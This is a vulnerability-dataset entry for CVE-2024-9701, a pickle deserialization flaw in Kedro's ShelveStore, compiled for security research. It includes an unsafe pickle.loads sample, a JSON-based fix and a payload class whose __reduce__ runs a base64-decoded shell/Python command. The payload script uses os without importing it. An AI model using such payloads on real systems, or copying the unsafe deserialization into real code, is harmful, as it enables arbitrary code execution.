VAITP Dataset

← Back to the dataset

CVE-2024-9701

Kedro ShelveStore RCE via malicious pickle deserialization allows arbitrary code execution.

  • CVSS 9.8
  • CWE-502
  • Deserialization of Untrusted Data
  • Remote

A Remote Code Execution (RCE) vulnerability has been identified in the Kedro ShelveStore class (version 0.19.8). This vulnerability allows an attacker to execute arbitrary Python code via deserialization of malicious payloads, potentially leading to a full system compromise. The ShelveStore class uses Python's shelve module to manage session data, which relies on pickle for serialization. Crafting a malicious payload and storing it in the shelve file can lead to RCE when the payload is deserialized.

CVSS base score
9.8
Published
2025-03-20
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Interface
Code defect classification
Serialization Issues
Category
Deserialization of Untrusted Data
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Kedro
Fixed by upgrading
Yes

Solution

Upgrade to Kedro version 0.19.9 or later.

Vulnerable code sample

import pickle

def load_data(data):
    """Load data - VULNERABLE to pickle RCE"""
    # VULNERABILITY: pickle.loads can execute arbitrary code
    return pickle.loads(data)

# Malicious payload can execute system commands
# when unpickled

Patched code sample

import json

def load_data_secure(data):
    """Securely load data using JSON"""
    try:
        # SECURE: JSON only allows safe data types
        return json.loads(data)
    except json.JSONDecodeError:
        return None
    except Exception:
        return None

Payload

import pickle
import base64

payload = b"""
import os
os.system('touch /tmp/pwned')
"""

class EvilPickle(object):
    def __reduce__(self):
        return (os.system, (f"echo {base64.b64encode(payload).decode('utf-8')} | base64 -d | python",))

print(pickle.dumps(EvilPickle()))

Cite this entry

@misc{vaitp:cve20249701,
  title        = {{Kedro ShelveStore RCE via malicious pickle deserialization allows arbitrary code execution.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-9701},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-9701/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::